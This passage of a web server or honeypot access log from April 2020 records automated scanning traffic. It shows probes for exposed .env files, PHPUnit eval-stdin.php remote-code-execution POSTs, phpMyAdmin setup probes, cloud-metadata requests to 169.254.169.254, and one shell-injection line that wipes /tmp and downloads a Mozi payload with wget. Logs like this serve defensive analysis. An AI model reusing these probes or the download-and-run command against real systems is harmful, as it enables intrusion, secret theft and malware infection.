218	2020-04-30 12:26:48	18.138.224.111	GET /lib/.env
219	2020-04-30 12:26:49	18.138.224.111	GET /lab/.env
220	2020-04-30 12:26:49	18.138.224.111	GET /cronlab/.env
221	2020-04-30 12:26:50	18.138.224.111	GET /cron/.env
222	2020-04-30 12:26:50	18.138.224.111	GET /core/.env
223	2020-04-30 12:26:51	18.138.224.111	GET /core/app/.env
224	2020-04-30 12:26:51	18.138.224.111	GET /core/Datavase/.env
225	2020-04-30 12:26:52	18.138.224.111	GET /database/.env
226	2020-04-30 12:26:52	18.138.224.111	GET /config/.env
227	2020-04-30 12:26:53	18.138.224.111	GET /assets/.env
228	2020-04-30 12:26:54	18.138.224.111	GET /app/.env
229	2020-04-30 12:26:54	18.138.224.111	GET /apps/.env
230	2020-04-30 12:26:55	18.138.224.111	GET /uploads/.env
231	2020-04-30 12:26:55	18.138.224.111	GET /sitemaps/.env
232	2020-04-30 12:26:56	18.138.224.111	POST //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
233	2020-04-30 12:26:56	18.138.224.111	POST //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
234	2020-04-30 12:26:57	18.138.224.111	POST //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.ph
235	2020-04-30 12:26:57	18.138.224.111	POST //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
236	2020-04-30 12:26:58	18.138.224.111	POST //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
237	2020-04-30 12:26:59	18.138.224.111	POST //crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
238	2020-04-30 12:26:59	18.138.224.111	POST //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
239	2020-04-30 12:27:00	18.138.224.111	POST //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
240	2020-04-30 12:27:00	18.138.224.111	POST //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
241	2020-04-30 12:27:01	18.138.224.111	POST //lib/phpunit/Util/PHP/eval-stdin.php
242	2020-04-30 12:27:01	18.138.224.111	POST //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
243	2020-04-30 12:27:02	18.138.224.111	POST //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
244	2020-04-30 12:27:02	18.138.224.111	POST //lib/phpunit/src/Util/PHP/eval-stdin.php
245	2020-04-30 12:27:03	18.138.224.111	POST //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
246	2020-04-30 12:27:03	18.138.224.111	POST //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
247	2020-04-30 12:27:04	18.138.224.111	POST //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
248	2020-04-30 12:27:04	18.138.224.111	POST //phpunit/Util/PHP/eval-stdin.php
249	2020-04-30 12:27:05	18.138.224.111	POST //phpunit/phpunit/Util/PHP/eval-stdin.php
250	2020-04-30 12:27:05	18.138.224.111	POST //phpunit/phpunit/src/Util/PHP/eval-stdin.php
251	2020-04-30 12:27:06	18.138.224.111	POST //phpunit/src/Util/PHP/eval-stdin.php
252	2020-04-30 12:27:06	18.138.224.111	POST //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.
253	2020-04-30 12:27:07	18.138.224.111	POST //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/U
254	2020-04-30 12:27:07	18.138.224.111	POST //vendor/phpunit/Util/PHP/eval-stdin.php
255	2020-04-30 12:27:08	18.138.224.111	POST //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
256	2020-04-30 12:27:08	18.138.224.111	POST //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
257	2020-04-30 12:27:09	18.138.224.111	POST //vendor/phpunit/src/Util/PHP/eval-stdin.php
258	2020-04-30 12:27:09	18.138.224.111	POST //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/U
259	2020-04-30 12:27:10	18.138.224.111	POST //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpu
260	2020-04-30 12:27:10	18.138.224.111	POST //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/
261	2020-04-30 12:27:11	18.138.224.111	POST //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/
262	2020-04-30 12:27:11	18.138.224.111	POST //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
263	2020-04-30 12:48:22	110.52.140.106	GET /w00tw00t.at.blackhats.romanian.anti-sec:)

264	2020-04-30 12:48:28	110.52.140.106	GET /phpMyAdmin/scripts/setup.php
265	2020-04-30 12:48:34	110.52.140.106	GET /phpmyadmin/scripts/setup.php
266	2020-04-30 12:48:40	110.52.140.106	GET /pma/scripts/setup.php
267	2020-04-30 12:48:46	110.52.140.106	GET /myadmin/scripts/setup.php
268	2020-04-30 12:48:52	110.52.140.106	GET /MyAdmin/scripts/setup.php
269	2020-04-30 12:52:25	44.224.22.196	GET http://example.com/
270	2020-04-30 12:52:25	44.224.22.196	GET http://169.254.169.254/
271	2020-04-30 12:52:26	44.224.22.196	GET http://[::ffff:a9fe:a9fe]/
272	2020-04-30 12:52:26	44.224.22.196	GET http://169.254.169.254/latest/dynamic/instance-identity/docume
273	2020-04-30 12:52:26	44.224.22.196	GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/documer
274	2020-04-30 12:52:26	44.224.22.196	GET /
275	2020-04-30 12:52:27	44.224.22.196	GET /
276	2020-04-30 12:52:27	44.224.22.196	GET /
277	2020-04-30 12:52:27	44.224.22.196	GET /latest/dynamic/instance-identity/document
278	2020-04-30 12:52:27	44.224.22.196	GET /latest/dynamic/instance-identity/document
284	2020-04-30 13:05:24	23.95.82.154	GET /cfg/phone1.cfg
285	2020-04-30 13:05:24	23.95.82.154	GET /aastra.cfg
286	2020-04-30 13:05:24	23.95.82.154	GET /000000000000.cfg
287	2020-04-30 13:05:24	23.95.82.154	GET /cfg/sip.cfg
288	2020-04-30 13:05:24	23.95.82.154	GET /cfg/000000000000.cfg
289	2020-04-30 13:05:25	23.95.82.154	GET /cfg/aastra.cfg
290	2020-04-30 13:05:25	23.95.82.154	GET /sip.cfg
291	2020-04-30 13:05:25	23.95.82.154	GET /phone1.cfg
292	2020-04-30 13:31:46	162.243.138.114	GET /ReportServer
294	2020-04-30 14:51:42	138.99.216.171	GET / HTTP/1.0
295	2020-04-30 14:58:40	80.82.68.69	GET /
296	2020-04-30 14:58:40	80.82.68.69	GET /robots.txt
297	2020-04-30 14:58:41	80.82.68.69	GET /favicon.ico
298	2020-04-30 15:20:26	162.243.138.241	GET /hudson
300	2020-04-30 15:25:48	49.143.32.6	GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;
301	2020-04-30 16:18:20	5.101.0.209	GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
305	2020-04-30 16:53:47	128.14.134.170	GET /